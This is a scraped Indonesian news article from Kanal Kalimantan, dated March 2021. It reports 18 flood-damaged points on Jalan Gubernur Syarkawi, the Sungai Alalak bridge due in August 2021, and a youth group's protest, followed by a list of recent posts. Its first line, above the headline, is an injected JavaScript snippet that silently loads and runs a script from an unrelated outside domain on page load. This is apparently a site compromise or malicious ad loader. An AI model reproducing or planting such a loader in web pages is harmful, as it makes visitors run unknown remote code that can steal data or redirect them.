(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Akibat Banjir Ada 18 Titik Kerusakan di Jalan Gubernur Syarkawi


KANALKALIMANTAN.COM, BANJARMASIN – Kerusakan jalan Gubernur Syarkawi dan belum selesainya pembangunan jembatan Sungai Alalak menjadi penghambat roda perekonomian di Kalsel.

Balai Pelaksanaan Jalan Nasional (BPJN) Kalsel melalui Ibrahim, Kasubag Tata Usaha BPJN mengatakan, pihak badan jalan sudah melakukan berbagai macam upaya untuk melakukan penanganan sementara.

“Pasca banjir kemarin, jalan Gubernur Syarkawi mengalami rusak parah sebanyak 18 titik. Untuk saat ini kita sudah menangani 16 titik, masih ada 2 titik terparah lagi, yang masih dalam proses perbaikan,” ujar Ibrahim, kepada Kanalkalimantan.com, Senin (8/3/2021) siang.

Terkait jalan perbaikan Jalan Gubernur Syarkawi, BPJN Kalsel saat ini masih melakukan upaya perbaikan titit-titik kerusakan jalan. Sempat hendak dilakukan penutupan total di jalan Gubernur Syarkawi, tapi permintaan warga jalan tidak ditutup total semasa perbaikan, karena warga bergantung ke akses jalan tersebut.

 

Ibrahim, Kasubag Tata Usaha BPJN Kalsel. Foto: tius

Selanjutnya, Ibrahim menambahkan, khusus untuk jembatan Sungai Alalak yang ada di jalan Hasan Basri, Kayu Tangi, Kecamatan Banjarmasin Utara, sesuai dengan kontrak direncanakan selesai pada bulan Agustus 2021.

“Ya untuk sementara masih fokus proses pembangunan bagian utama badan jembatan yang ada ditengahnya. Insyaallah Agustus ini sudah selesai dan bisa beroperasi,” pungkas Ibrahim.

Diberitkan sebelumnya, Dewan Pemuda Islam Kalimantan Selatan (Kalsel) mendatangi kantor BPJN Kalsel, mendesak perbaikan Jalan Gubernur Syarkawi, Senin (8/3/2021) siang.

Dari pantauan Kanalkalimantan.com, puluhan orang beada di depan kantor meminta pihak balai jalan nasional merespon permintaan mereka.

Menurut para pengunjuk rasa, kerusakan Jalan Gubernur Syarkawi sudah menghambat roda perekonomian di Provinsi Kalsel.

H Muhammad Hasan, Ketua Dewan Pemuda Kalsel mengatakan, aksi kali ini bertujuan untuk menuntut perbaikan jalan Gubernur Syarkawi dan pembangunan jembatan Sungai Alalak bisa dipercepat proses pengerjaannya.

“Rusaknya jalan tersebut, mengakibatkan roda perekonomian jadi terhambat, gas 3 kg menjadi langka dipasaran,” ujar H Muhammad Hasan, kepada Kanalkalimantan.com. (kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

16 menit ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

26 menit ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

1 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

5 jam ago

Hari Bela Negara 19 Desember, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More

6 jam ago

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

21 jam ago

This website uses cookies.